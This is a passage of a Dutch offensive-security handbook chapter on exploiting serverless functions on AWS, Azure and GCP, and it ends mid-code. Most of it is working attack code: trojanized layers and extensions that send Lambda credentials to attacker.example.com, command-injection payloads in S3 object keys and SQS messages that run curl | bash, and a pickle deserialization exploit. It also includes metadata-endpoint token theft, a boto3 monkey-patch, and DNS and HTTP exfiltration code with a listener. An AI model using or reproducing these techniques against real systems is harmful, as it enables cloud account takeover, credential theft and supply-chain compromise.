Serverless Exploitatie
Waarin we ontdekken dat “geen server” niet betekent “geen probleem”, maar eerder “iemand anders z’n probleem dat nu ook jouw probleem is geworden”
Er is iets prachtig ironisch aan de term “serverless.” Er zijn absoluut servers. Hele datacenters vol. Ze staan er gewoon, te draaien, te koelen, stroom te vreten. Het enige verschil is dat jij ze niet meer ziet. En in de security-wereld geldt een universele waarheid: wat je niet ziet, kun je niet beveiligen. Of preciezer: wat je niet ziet, ga je gegarandeerd verkeerd beveiligen.
Serverless computing is het ultieme abstractieniveau. Je schrijft een functie, je deployt die, en ergens in de eindeloze ingewanden van een hyperscaler draait je code wanneer iemand of iets dat triggert. Geen OS om te patchen, geen firewall om te configureren, geen server om te hardenen. Klinkt als een security-droom, toch? Nou, pak er een stoel bij.
IB Tip: Serverless verschuift het aanvalsoppervlak – het elimineert het niet. In plaats van OS-vulnerabilities krijg je misconfigured IAM policies, event injection, en dependency attacks. De attack surface is anders, niet kleiner.
8.1 Serverless Architectuur
Functions-as-a-Service: Het Concept
Het idee achter Functions-as-a-Service (FaaS) is bedrieglijk simpel. Je schrijft een stukje code – een functie – dat precies een ding doet. Die functie wordt getriggerd door een event: een HTTP-request, een nieuw bestand in een bucket, een bericht op een queue. De cloud provider regelt alles eromheen: compute, scaling, networking, het OS.
De drie grote spelers:
| Provider | Service | Runtime Omgeving | Max Execution | Max Memory |
|---|---|---|---|---|
| AWS | Lambda | Amazon Linux 2 / AL2023 | 15 minuten | 10 GB |
| Azure | Functions | Windows / Linux containers | 230 seconden (Consumption) / onbeperkt (Premium) | 14 GB |
| GCP | Cloud Functions | Ubuntu-based container | 9 minuten (1st gen) / 60 min (2nd gen) | 32 GB |
Event-Driven Architectuur
Serverless functies draaien niet continu. Ze worden getriggerd. En die triggers vormen een van de meest onderschatte aanvalsvectoren in de moderne cloud.
+------------------+
HTTP Request --> | |
S3 Event --> | Serverless | --> DynamoDB
SQS Message --> | Function | --> S3 Bucket
SNS Topic --> | | --> External API
Schedule --> | | --> SES Email
+------------------+
^ |
| Event Sources Downstream
+--- Hier zit je attack surface ---+
Elke pijl in dat diagram is een potentiele aanvalsvector. Elke event source kan gemanipuleerd worden. Elke downstream service kan misbruikt worden als de functie teveel rechten heeft.
Cold Starts en de Execution Environment
Wanneer een Lambda-functie voor het eerst wordt aangeroepen – of na een periode van inactiviteit – moet de cloud provider een nieuwe execution environment opzetten. Dit heet een cold start:
- Download van de function code en layers
- Bootstrap van de runtime (Python, Node.js, Java, etc.)
- Initialisatie van de handler code (imports, connections)
- Uitvoering van de daadwerkelijke functie
Na de uitvoering blijft de execution environment een tijdje warm. En dat “warm” houden heeft security-implicaties die we straks gaan uitbuiten.
Cold Start:
[Download Code] → [Init Runtime] → [Init Handler] → [Execute] → [Warm]
|
Warm Invocation: v
[Execute] ← ← ← ← ← [Reuse]
IB Tip: De
/tmpdirectory in AWS Lambda persists tussen warm invocations van dezelfde execution environment. Data die je daar achterlaat – credentials, tools, exfiltrated data – overleeft meerdere function invocations. Dit is zowel een exploit-vector als een persistence-mechanisme.
Het Shared Responsibility Model voor Serverless
AWS heeft een mooi plaatje van het Shared Responsibility Model. Bij serverless schuift de verantwoordelijkheid van de klant naar de provider. Maar de klant blijft verantwoordelijk voor:
- Function code en dependencies
- IAM permissions (de execution role)
- Event source configuratie
- Secrets management
- Data encryptie (in transit en at rest)
- Network configuratie (VPC placement)
Dat zijn zes dingen om fout te doen. En de gemiddelde developer team doet er minstens vier fout.
8.2 AWS Lambda Aanvallen
Function URL Abuse
Sinds 2022 ondersteunt Lambda function URLs – directe
HTTPS-endpoints zonder API Gateway. Het probleem: ze worden vaak
geconfigureerd met AuthType: NONE.
Herkenning van kwetsbare function URLs:
# Zoek alle Lambda functies met function URLs
aws lambda list-functions --query 'Functions[].FunctionName' --output text | \
while read fn; do
url=$(aws lambda get-function-url-config --function-name "$fn" 2>/dev/null)
if [ $? -eq 0 ]; then
auth=$(echo "$url" | jq -r '.AuthType')
endpoint=$(echo "$url" | jq -r '.FunctionUrl')
echo "Function: $fn | Auth: $auth | URL: $endpoint"
fi
done
# Zoek specifiek naar NONE auth type
aws lambda list-function-url-configs --function-name TARGET_FUNCTION \
--query 'FunctionUrlConfigs[?AuthType==`NONE`]'Exploitatie van open function URLs:
# Direct aanroepen -- geen authenticatie nodig
curl -X POST https://abcdefg1234567.lambda-url.eu-west-1.on.aws/ \
-H "Content-Type: application/json" \
-d '{"action": "processOrder", "orderId": "1 OR 1=1"}'
# Event injection via query parameters
curl "https://abcdefg1234567.lambda-url.eu-west-1.on.aws/?file=../../../../etc/passwd"Environment Variable Extraction
Lambda-functies slaan vaak secrets op in environment variables. Dat is de quick-and-dirty manier en – laten we eerlijk zijn – de manier waarop de meeste tutorials het voordoen. Het is alsof je je huissleutel onder de deurmat legt en dan verbaasd bent als iemand binnenkomt.
Via de Lambda API (met juiste permissions):
# Haal alle environment variables op van een functie
aws lambda get-function-configuration \
--function-name target-function \
--query 'Environment.Variables'
# Output kan bevatten:
# {
# "DB_PASSWORD": "Pr0ductie-Wachtw00rd!",
# "API_KEY": "sk-live-aBcDeFgHiJkLmNoPqRsTuVwXyZ",
# "STRIPE_SECRET": "sk_live_...",
# "JWT_SECRET": "supersecretkey123"
# }Vanuit een gecompromitteerde functie (runtime exploitation):
# Als je code execution hebt in de Lambda functie
import os
# Alle environment variables dumpen
for key, value in os.environ.items():
print(f"{key}={value}")
# Specifieke Lambda runtime variabelen:
# AWS_ACCESS_KEY_ID - Temporary credentials
# AWS_SECRET_ACCESS_KEY - Temporary credentials
# AWS_SESSION_TOKEN - Session token
# AWS_LAMBDA_FUNCTION_NAME - Functienaam
# AWS_REGION - Region
# _HANDLER - Handler padIB Tip: Lambda runtime credentials (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY,AWS_SESSION_TOKEN) zijn temporary credentials gekoppeld aan de function’s execution role. Deze credentials geven je dezelfde rechten als de Lambda-functie zelf. Gebruikaws sts get-caller-identityom te bevestigen welke role je hebt.
Layer Poisoning
Lambda Layers zijn herbruikbare code-pakketten die aan functies worden toegevoegd. Ze worden voor de function code geladen. Als een aanvaller een layer kan modificeren of een eigen layer kan injecteren, draait zijn code in elke functie die die layer gebruikt.
# Bekijk welke layers een functie gebruikt
aws lambda get-function-configuration \
--function-name target-function \
--query 'Layers[].Arn'
# Bekijk layer versies
aws lambda list-layer-versions \
--layer-name shared-utils
# Download een layer om te analyseren
aws lambda get-layer-version \
--layer-name shared-utils \
--version-number 3 \
--query 'Content.Location' \
--output text | xargs curl -o layer.zip
# Publiceer een malicious layer versie (als je lambda:PublishLayerVersion hebt)
zip -r malicious-layer.zip python/
aws lambda publish-layer-version \
--layer-name shared-utils \
--zip-file fileb://malicious-layer.zip \
--compatible-runtimes python3.9 python3.10 python3.11
# Update de functie om de nieuwe (malicious) layer versie te gebruiken
aws lambda update-function-configuration \
--function-name target-function \
--layers arn:aws:lambda:eu-west-1:123456789012:layer:shared-utils:4Malicious layer voorbeeld (Python):
# python/evil_extension.py -- wordt geladen via de layer
import os
import urllib.request
import json
# Exfiltreer credentials bij cold start (init fase)
creds = {
"access_key": os.environ.get("AWS_ACCESS_KEY_ID"),
"secret_key": os.environ.get("AWS_SECRET_ACCESS_KEY"),
"session_token": os.environ.get("AWS_SESSION_TOKEN"),
"function_name": os.environ.get("AWS_LAMBDA_FUNCTION_NAME"),
"region": os.environ.get("AWS_REGION")
}
req = urllib.request.Request(
"https://attacker.example.com/collect",
data=json.dumps(creds).encode(),
headers={"Content-Type": "application/json"},
method="POST"
)
try:
urllib.request.urlopen(req, timeout=2)
except:
pass # Fail silently -- de functie moet gewoon blijven werken/tmp Persistence
De /tmp directory in Lambda is de enige schrijfbare
locatie (naast /var/task voor de code zelf). Het heeft 512
MB tot 10 GB aan ruimte (configureerbaar) en – cruciaal – het persists
tussen warm invocations.
import os
import subprocess
def handler(event, context):
marker = "/tmp/.persistence_marker"
if os.path.exists(marker):
# Warme container -- onze tools staan er nog
print("Warm invocation -- tools already staged")
else:
# Koude start -- stage onze tools
# Download een statisch gecompileerde binary
os.system("curl -s https://attacker.example.com/tools/nmap-static -o /tmp/nmap")
os.system("chmod +x /tmp/nmap")
# Maak een marker aan
with open(marker, "w") as f:
f.write("staged")
# Gebruik de gestage-de tools
result = subprocess.run(
["/tmp/nmap", "-sn", "10.0.0.0/24"],
capture_output=True, text=True, timeout=30
)
return {"statusCode": 200, "body": result.stdout}Event Injection
Dit is waar het echt interessant wordt. Lambda-functies worden getriggerd door events, en die events bevatten data. Als de functie die data niet sanitized, heb je injection.
S3 Event Injection:
# Een Lambda die getriggerd wordt door S3 uploads
def handler(event, context):
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
# KWETSBAAR: key wordt direct in een shell command gebruikt
os.system(f"file /tmp/{key}") # Command injection via bestandsnaam!
return {"processed": key}Exploitatie:
# Upload een bestand met een malicious naam naar de trigger-bucket
aws s3 cp payload.txt \
"s3://target-bucket/; curl attacker.example.com/shell.sh | bash ;.txt"API Gateway Event Injection:
# Kwetsbare Lambda achter API Gateway
import json
import sqlite3
def handler(event, context):
# Event body van API Gateway
body = json.loads(event['body'])
username = body['username']
# KWETSBAAR: SQL injection
conn = sqlite3.connect('/tmp/app.db')
cursor = conn.execute(
f"SELECT * FROM users WHERE username = '{username}'"
)
return {
"statusCode": 200,
"body": json.dumps([dict(row) for row in cursor])
}SQS Event Injection:
# Lambda die SQS berichten verwerkt
import json
import subprocess
def handler(event, context):
for record in event['Records']:
message = json.loads(record['body'])
command = message.get('command', 'echo no command')
# KWETSBAAR: command uit SQS message wordt direct uitgevoerd
result = subprocess.run(command, shell=True, capture_output=True)
return {"processed": len(event['Records'])}# Stuur een malicious SQS message (als je sqs:SendMessage hebt)
aws sqs send-message \
--queue-url https://sqs.eu-west-1.amazonaws.com/123456789012/process-queue \
--message-body '{"command": "curl https://attacker.example.com/$(cat /proc/self/environ | base64 -w0)"}'Runtime API Exploitation
Lambda functies communiceren met de Lambda Runtime API om events op
te halen en responses terug te sturen. Deze API is beschikbaar op
http://127.0.0.1:9001 (of via de
AWS_LAMBDA_RUNTIME_API environment variable).
# Vanuit een gecompromitteerde functie:
# Haal het volgende event op (dit is wat de runtime normaal doet)
RUNTIME_API="${AWS_LAMBDA_RUNTIME_API}"
curl "http://${RUNTIME_API}/2018-06-01/runtime/invocation/next"
# Bekijk de functie-informatie
curl "http://${RUNTIME_API}/2018-06-01/runtime/init/error" \
-d '{"errorMessage": "test", "errorType": "RuntimeError"}'Lambda Extensions API (voor meer geavanceerde aanvallen):
# Registreer een malicious extension
EXTENSION_ID=$(curl -s -X POST \
"http://${AWS_LAMBDA_RUNTIME_API}/2020-01-01/extension/register" \
-H "Lambda-Extension-Name: evil-extension" \
-d '{"events": ["INVOKE", "SHUTDOWN"]}' \
-o /dev/null -w '%header{Lambda-Extension-Identifier}')
# Nu ontvang je een callback bij elke invocation
curl "http://${AWS_LAMBDA_RUNTIME_API}/2020-01-01/extension/event/next" \
-H "Lambda-Extension-Identifier: ${EXTENSION_ID}"IB Tip: De Lambda Runtime API en Extensions API zijn alleen bereikbaar vanuit de execution environment zelf. Maar als je eenmaal code execution hebt in een functie, geven ze je diepgaande controle over hoe die functie events verwerkt. Een malicious extension kan elke invocation intercepten en data exfiltreren voordat de response wordt teruggestuurd.
8.3 Azure Functions Aanvallen
HTTP Trigger Exploitation
Azure Functions met HTTP triggers zijn direct bereikbaar via een URL.
De authenticatie wordt geregeld door authorization levels:
anonymous, function, en
admin.
# Ontdek Azure Functions endpoints (vaak voorspelbare URLs)
# Patroon: https://<functionapp>.azurewebsites.net/api/<functionname>
curl https://target-functionapp.azurewebsites.net/api/processData
# Anonymous functies zijn direct aanroepbaar
curl -X POST https://target-functionapp.azurewebsites.net/api/processData \
-H "Content-Type: application/json" \
-d '{"input": "test"}'
# Function-level auth vereist een function key (vaak gelekt in code/config)
curl "https://target-functionapp.azurewebsites.net/api/processData?code=LEAKED_FUNCTION_KEY"Enumeratie van Function Apps:
# Met Azure CLI -- alle function apps in een subscription
az functionapp list --query '[].{name:name, rg:resourceGroup, url:defaultHostName}' -o table
# Haal de function keys op (als je voldoende rechten hebt)
az functionapp keys list --name target-functionapp --resource-group target-rg
# Bekijk de applicatie-instellingen (environment variables)
az functionapp config appsettings list \
--name target-functionapp \
--resource-group target-rg \
--query '[].{name:name, value:value}' -o tableManaged Identity Token Theft
Azure Functions gebruiken vaak Managed Identities om te authenticeren bij andere Azure-services. De tokens zijn beschikbaar via het Instance Metadata Service (IMDS) endpoint.
# Vanuit een gecompromitteerde Azure Function:
# Haal een access token op voor Azure Resource Manager
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq .
# Token voor Microsoft Graph (emails, users, etc.)
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/" \
| jq .
# Token voor Key Vault
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" \
| jq .
# Token voor Azure SQL
curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://database.windows.net/" \
| jq .Gebruik het gestolen token:
# Gebruik het ARM token om resources te enumereren
TOKEN="eyJ0eXAi..."
# Lijst alle subscriptions
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .
# Lijst alle resources in een subscription
curl -s -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/SUB_ID/resources?api-version=2021-04-01" | jq .
# Lees Key Vault secrets
KV_TOKEN="eyJ0eXAi..." # Token voor vault.azure.net
curl -s -H "Authorization: Bearer $KV_TOKEN" \
"https://target-keyvault.vault.azure.net/secrets?api-version=7.4" | jq .IB Tip: Azure Managed Identity tokens hebben standaard een lifetime van 8-24 uur. Zodra je een token hebt gestolen, werkt het ook buiten de Azure Function. Je kunt het op je eigen machine gebruiken met
az cliof directe API-calls. Check deexpclaim in het JWT om te zien wanneer het verloopt.
Function Keys Extraction
Azure Functions gebruiken host keys en function keys voor authenticatie. Deze worden opgeslagen in Azure Storage en zijn opvraagbaar via de management API.
# Via Azure CLI (met voldoende rechten)
# Host keys (werken voor alle functies in de app)
az functionapp keys list \
--name target-functionapp \
--resource-group target-rg
# Function-specifieke keys
az functionapp function keys list \
--name target-functionapp \
--resource-group target-rg \
--function-name processData
# Master key (geeft admin-level toegang)
az functionapp keys list \
--name target-functionapp \
--resource-group target-rg \
--query 'masterKey'Via de Kudu management interface:
# Kudu SCM is vaak bereikbaar op:
# https://<functionapp>.scm.azurewebsites.net
# Download de function secrets file
curl -s -u "deploy_user:deploy_password" \
"https://target-functionapp.scm.azurewebsites.net/api/vfs/data/Functions/secrets/host.json"
# Bekijk de functie-code
curl -s -u "deploy_user:deploy_password" \
"https://target-functionapp.scm.azurewebsites.net/api/vfs/site/wwwroot/processData/index.js"Durable Functions Orchestration Abuse
Durable Functions voegen stateful orchestration toe aan Azure Functions. De orchestration state wordt opgeslagen in Azure Storage en is manipuleerbaar.
# Ontdek Durable Function endpoints
# Status endpoint (vaak open)
curl "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances?code=FUNCTION_KEY"
# Start een nieuwe orchestration
curl -X POST \
"https://target-functionapp.azurewebsites.net/api/orchestrators/ProcessOrderOrchestrator?code=FUNCTION_KEY" \
-H "Content-Type: application/json" \
-d '{"orderId": "evil-order", "amount": -1000}'
# Stuur een event naar een draaiende orchestration
curl -X POST \
"https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances/INSTANCE_ID/raiseEvent/ApprovalEvent?code=FUNCTION_KEY" \
-H "Content-Type: application/json" \
-d '{"approved": true, "approver": "admin"}'
# Bekijk de execution history
curl "https://target-functionapp.azurewebsites.net/runtime/webhooks/durabletask/instances/INSTANCE_ID?showHistory=true&code=FUNCTION_KEY"8.4 GCP Cloud Functions Aanvallen
Public Invocation
GCP Cloud Functions kunnen geconfigureerd worden met
allUsers of allAuthenticatedUsers als invoker,
waardoor ze publiek bereikbaar zijn.
# Zoek publiek invoceerbare functies
# Check IAM policy van een functie
gcloud functions get-iam-policy target-function \
--region europe-west1 \
--format json
# Kijk of allUsers de roles/cloudfunctions.invoker rol heeft
gcloud functions get-iam-policy target-function \
--region europe-west1 \
--flatten="bindings[].members" \
--filter="bindings.members:allUsers" \
--format="table(bindings.role)"
# Direct aanroepen van een publieke functie
curl -X POST "https://europe-west1-project-id.cloudfunctions.net/target-function" \
-H "Content-Type: application/json" \
-d '{"data": "test"}'
# Gen 2 functies (Cloud Run based)
gcloud functions describe target-function \
--region europe-west1 \
--gen2 \
--format="value(serviceConfig.uri)"Source Code Download
In GCP worden Cloud Function-bronbestanden opgeslagen in Cloud Storage. Met de juiste rechten kun je de broncode downloaden.
# Haal de source locatie op
gcloud functions describe target-function \
--region europe-west1 \
--format="value(sourceArchiveUrl)"
# Of voor Gen 2:
gcloud functions describe target-function \
--region europe-west1 \
--gen2 \
--format="value(buildConfig.source.storageSource)"
# Download de broncode
gsutil cp gs://gcf-sources-PROJECT_NUMBER-REGION/target-function-VERSION.zip ./
# Of via de API
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudfunctions.googleapis.com/v1/projects/PROJECT/locations/REGION/functions/target-function?fields=sourceArchiveUrl"
# Unzip en analyseer
unzip target-function-VERSION.zip -d function-source/
cat function-source/main.py
cat function-source/requirements.txtIB Tip: GCP Cloud Functions source code staat in een bucket met het patroon
gcf-sources-{PROJECT_NUMBER}-{REGION}. Als jestorage.objects.listofstorage.objects.gethebt op die bucket, kun je alle function source code downloaden. Check ookgcf-v2-sources-*voor Gen 2 functies.
Service Account Token Theft
GCP Cloud Functions draaien met een service account. De credentials zijn beschikbaar via het metadata endpoint.
# Vanuit een gecompromitteerde Cloud Function:
# Haal het access token op
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Haal het service account email op
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
# Haal de scopes op
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes"
# Haal de project ID op
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
# Gebruik het token om IAM policies te bekijken
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
| jq -r '.access_token')
curl -s -H "Authorization: Bearer $TOKEN" \
"https://cloudresourcemanager.googleapis.com/v1/projects/PROJECT_ID:getIamPolicy" \
-X POST -H "Content-Type: application/json" -d '{}'8.5 Event Injection
Het Event Model als Aanvalsoppervlak
In een serverless architectuur is het event de input. En input validation is – hoe verrassend – net zo slecht bij serverless als bij elke andere applicatie. Het verschil is dat event sources diverser en minder voor de hand liggend zijn dan een simpele HTTP request.
Event Sources en hun Injection Vectors:
+---------------------------+-----------------------------------------------+
| Event Source | Injection Vector |
+---------------------------+-----------------------------------------------+
| S3 PutObject | Bestandsnaam, metadata, content type |
| SQS/SNS Message | Message body, message attributes |
| API Gateway | Path, query params, headers, body |
| DynamoDB Streams | NewImage/OldImage values |
| Kinesis | Data payload (base64 encoded) |
| CloudWatch Events | Detail object |
| Cognito Triggers | User attributes, challenge responses |
| IoT Rules | MQTT topic, message payload |
| Azure Event Grid | Subject, data object |
| Azure Service Bus | Message body, custom properties |
| GCP Pub/Sub | Message data, attributes |
| GCP Cloud Storage | Object name, metadata |
+---------------------------+-----------------------------------------------+
S3 Event Manipulation
S3 events worden getriggerd wanneer objecten worden aangemaakt, verwijderd of gewijzigd. De bestandsnaam en metadata zijn onder controle van de uploader.
# Kwetsbare Lambda die S3 events verwerkt
import boto3
import os
import subprocess
def handler(event, context):
record = event['Records'][0]
bucket = record['s3']['bucket']['name']
key = record['s3']['object']['key']
# Download het bestand
s3 = boto3.client('s3')
local_path = f"/tmp/{key}"
s3.download_file(bucket, key, local_path)
# KWETSBAAR: bestandsnaam in subprocess
result = subprocess.run(
f"file {local_path}", # Command injection via key!
shell=True,
capture_output=True,
text=True
)
# KWETSBAAR: key in log message (log injection)
print(f"Processed file: {key}")
return result.stdoutExploitatie via bestandsnaam:
# Command injection via S3 object key
aws s3 cp /dev/null "s3://target-bucket/test; curl attacker.example.com/?creds=\$(env | base64 | tr -d '\n') ;.txt"
# Path traversal via key
aws s3 cp payload.txt "s3://target-bucket/../../../tmp/malicious.sh"
# Log injection
aws s3 cp payload.txt "s3://target-bucket/normal.txt
CRITICAL: Admin credentials rotated - new password: see /api/admin"Message Queue Injection
SQS, SNS, Azure Service Bus en GCP Pub/Sub zijn allemaal kwetsbaar voor dezelfde patronen: de message body is user-controlled data.
# AWS SQS injection
aws sqs send-message \
--queue-url https://sqs.eu-west-1.amazonaws.com/123456789012/orders \
--message-body '{
"orderId": "1; wget attacker.example.com/shell -O /tmp/s; chmod +x /tmp/s; /tmp/s",
"product": "<script>document.location=\"https://attacker.example.com/?c=\"+document.cookie</script>",
"quantity": "1 UNION SELECT username,password FROM users--"
}'
# Azure Service Bus injection
az servicebus topic subscription create \
--resource-group target-rg \
--namespace-name target-ns \
--topic-name orders \
--name evil-sub
# GCP Pub/Sub injection
gcloud pubsub topics publish target-topic \
--message='{"cmd": "$(curl attacker.example.com/$(whoami))"}'Database Trigger Injection
DynamoDB Streams en Azure Cosmos DB Change Feed triggeren functies bij data-wijzigingen.
# Kwetsbare Lambda op DynamoDB Stream
def handler(event, context):
for record in event['Records']:
if record['eventName'] == 'INSERT':
new_item = record['dynamodb']['NewImage']
email = new_item['email']['S']
# KWETSBAAR: email in template zonder escaping
html = f"<h1>Welkom {email}</h1>"
# KWETSBAAR: email in OS command
os.system(f"echo 'New user: {email}' | mail -s 'Alert' admin@company.com")# Inject via DynamoDB (als je dynamodb:PutItem hebt)
aws dynamodb put-item \
--table-name users \
--item '{
"userId": {"S": "evil-user"},
"email": {"S": "test@test.com\"; curl attacker.example.com/$(env|base64) #"}
}'Deserialization in Event Payloads
Serverless functies ontvangen events als JSON – maar sommige deserializeren custom formaten uit die events.
# Lambda die pickled data uit S3 verwerkt
import pickle
import boto3
def handler(event, context):
s3 = boto3.client('s3')
bucket = event['Records'][0]['s3']['bucket']['name']
key = event['Records'][0]['s3']['object']['key']
obj = s3.get_object(Bucket=bucket, Key=key)
# KWETSBAAR: pickle deserialization
data = pickle.loads(obj['Body'].read())
return {"processed": str(data)}# Genereer een malicious pickle payload
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl https://attacker.example.com/$(whoami)',))
# Upload naar de trigger bucket
import boto3
s3 = boto3.client('s3')
s3.put_object(
Bucket='target-bucket',
Key='data/report.pkl',
Body=pickle.dumps(Exploit())
)IB Tip: Event injection is bijzonder gevaarlijk omdat events vaak worden beschouwd als “interne” data. Developers vertrouwen S3 event data, SQS messages en DynamoDB stream records als “al gevalideerd” – terwijl de oorspronkelijke data door een gebruiker kan zijn aangeleverd.
8.6 Serverless Dependency Attacks
Package Inclusion Vulnerabilities
Serverless functies zijn afhankelijk van packages en libraries. De supply chain is hetzelfde als bij elke andere applicatie, maar de impact is anders: een gecompromitteerde dependency draait met de IAM-rechten van de Lambda execution role.
# Analyseer de dependencies van een Lambda functie
# Download de function code
aws lambda get-function --function-name target-function \
--query 'Code.Location' --output text | xargs curl -o function.zip
unzip function.zip -d function-code/
# Check Python dependencies
cat function-code/requirements.txt
pip-audit -r function-code/requirements.txt
# Check Node.js dependencies
cat function-code/package.json
cd function-code && npm audit
# Check voor bekende malicious packages
# Python
pip install safety
safety check -r function-code/requirements.txt
# Node.js
npx is-website-vulnerable function-code/Trojanized Layers en Extensions
Lambda Layers zijn een gedeeld dependency-mechanisme – en een supply chain risico.
# Zoek publiek beschikbare layers
aws lambda list-layers --compatible-runtime python3.11
# Analyseer een verdachte layer
aws lambda get-layer-version \
--layer-name arn:aws:lambda:eu-west-1:123456789012:layer:suspicious-layer \
--version-number 1 \
--query 'Content.Location' --output text | xargs curl -o layer.zip
# Unzip en zoek naar verdachte code
unzip layer.zip -d layer-contents/
grep -r "eval\|exec\|subprocess\|os.system\|urllib" layer-contents/
grep -r "169.254.169.254\|metadata" layer-contents/
# Check of de layer een extension registreert
ls -la layer-contents/extensions/
cat layer-contents/extensions/*Creeer een trojanized layer:
# extensions/evil-extension -- Lambda Extension die credentials steelt
#!/usr/bin/env python3
import os
import json
import urllib.request
RUNTIME_API = os.environ['AWS_LAMBDA_RUNTIME_API']
# Registreer als extension
headers = {"Lambda-Extension-Name": "monitoring-extension"}
data = json.dumps({"events": ["INVOKE", "SHUTDOWN"]}).encode()
req = urllib.request.Request(
f"http://{RUNTIME_API}/2020-01-01/extension/register",
data=data,
headers=headers,
method="POST"
)
resp = urllib.request.urlopen(req)
ext_id = resp.headers['Lambda-Extension-Identifier']
def exfil_creds():
creds = {
"key": os.environ.get("AWS_ACCESS_KEY_ID"),
"secret": os.environ.get("AWS_SECRET_ACCESS_KEY"),
"token": os.environ.get("AWS_SESSION_TOKEN"),
}
req = urllib.request.Request(
"https://attacker.example.com/c",
data=json.dumps(creds).encode(),
headers={"Content-Type": "application/json"},
)
try:
urllib.request.urlopen(req, timeout=1)
except:
pass
exfil_creds()
# Event loop
while True:
req = urllib.request.Request(
f"http://{RUNTIME_API}/2020-01-01/extension/event/next",
headers={"Lambda-Extension-Identifier": ext_id}
)
resp = urllib.request.urlopen(req)
event = json.loads(resp.read())
if event['eventType'] == 'SHUTDOWN':
breakCold Start Race Conditions
Tijdens een cold start worden layers en extensions geladen voordat de function handler start. Dit creert een window waarin code kan draaien zonder dat de functie het weet.
Cold Start Timeline:
[Download Code] → [Load Layers] → [Init Extensions] → [Init Runtime] → [Handler Init] → [Handler Execute]
^ ^
| |
Malicious layer Malicious extension
code runs here registers here
BEFORE handler BEFORE handler
Het subtiele gevaar: als een layer een module monkey-patcht
(bijvoorbeeld boto3 of requests), kan die
patch alle API-calls van de functie intercepten.
# layer/python/boto3/__init__.py -- monkey-patch boto3
# Dit wordt geladen in plaats van het echte boto3
# Importeer het echte boto3 eerst
import importlib
import sys
# Verwijder onszelf uit sys.modules zodat het echte boto3 geladen kan worden
del sys.modules['boto3']
# Voeg het originele pad weer toe
real_boto3 = importlib.import_module('boto3')
# Monkey-patch de Session class
_original_client = real_boto3.Session.client
def _patched_client(self, service_name, *args, **kwargs):
client = _original_client(self, service_name, *args, **kwargs)
# Intercept alle S3 get_object calls
if service_name == 's3':
_original_get = client.get_object
def _patched_get(*a, **kw):
result = _original_get(*a, **kw)
# Stuur een kopie naar de aanvaller
# ...
return result
client.get_object = _patched_get
return client
real_boto3.Session.client = _patched_client
sys.modules['boto3'] = real_boto38.7 Data Exfiltratie via Serverless
DNS Exfiltration
DNS-verkeer wordt zelden geblokkeerd, zelfs niet in VPC-geplaatste Lambda’s. Het is de ultieme covert channel.
# DNS exfiltratie vanuit een Lambda functie
import socket
import base64
import os
def exfil_dns(data, domain="exfil.attacker.example.com"):
"""Exfiltreer data via DNS queries."""
encoded = base64.b32encode(data.encode()).decode().rstrip('=').lower()
# Split in chunks van 63 chars (DNS label limit)
chunks = [encoded[i:i+63] for i in range(0, len(encoded), 63)]
for i, chunk in enumerate(chunks):
subdomain = f"{i}.{chunk}.{domain}"
try:
socket.getaddrinfo(subdomain, None)
except socket.gaierror:
pass # De lookup failt, maar de DNS server ziet de query
def handler(event, context):
# Exfiltreer credentials
creds = f"{os.environ.get('AWS_ACCESS_KEY_ID')}:{os.environ.get('AWS_SECRET_ACCESS_KEY')}"
exfil_dns(creds)
# Normal function execution continues
return {"statusCode": 200}DNS listener op de aanvaller’s kant:
# Gebruik een authoritative DNS server voor je domein
# Bijvoorbeeld met dnschef of een custom script
# Simple Python DNS listener
from dnslib.server import DNSServer, BaseResolver
from dnslib import RR, QTYPE, A
class ExfilResolver(BaseResolver):
def resolve(self, request, handler):
qname = str(request.q.qname)
print(f"[EXFIL] {qname}")
# Log de query voor later decoderen
with open("exfil.log", "a") as f:
f.write(f"{qname}\n")
reply = request.reply()
reply.add_answer(RR(request.q.qname, QTYPE.A, rdata=A("127.0.0.1")))
return reply
server = DNSServer(ExfilResolver(), port=53, address="0.0.0.0")
server.start()Outbound HTTP Exfiltration
De meest directe methode – maar ook de meest detecteerbare.
import urllib.request
import json
import os
def exfil_http(data):
"""Exfiltreer data via HTTP POST."""
req = urllib.request.Request(
"https://attacker.example.com/collect",
data=json.dumps(data).encode(),
headers={
"Content-Type": "application/json",
"User-Agent": "aws-sdk-python/1.26.0" # Blend in
}
)
try:
urllib.request.urlopen(req, timeout=3)
except:
pass
def handler(event, context):
# Verzamel alle interessante data
data = {
"env": dict(os.environ),
"event": event,
"context": {
"function_name": context.function_name,
"memory_limit": context.memory_limit_in_mb,
"remaining_time": context.get_remaining_time_in_millis(),
}
}
exfil_http(data)
return {"statusCode": 200}Cloud Storage Staging
Gebruik de cloud provider’s eigen storage als staging area – het verkeer lijkt intern en triggert minder alerts.
import boto3
import json
import os
def handler(event, context):
s3 = boto3.client('s3')
# Exfiltreer naar een bucket die je controleert
# (als de execution role s3:PutObject toestaat op * of op jouw bucket)
loot = {
"credentials": {
"access_key": os.environ.get("AWS_ACCESS_KEY_ID"),
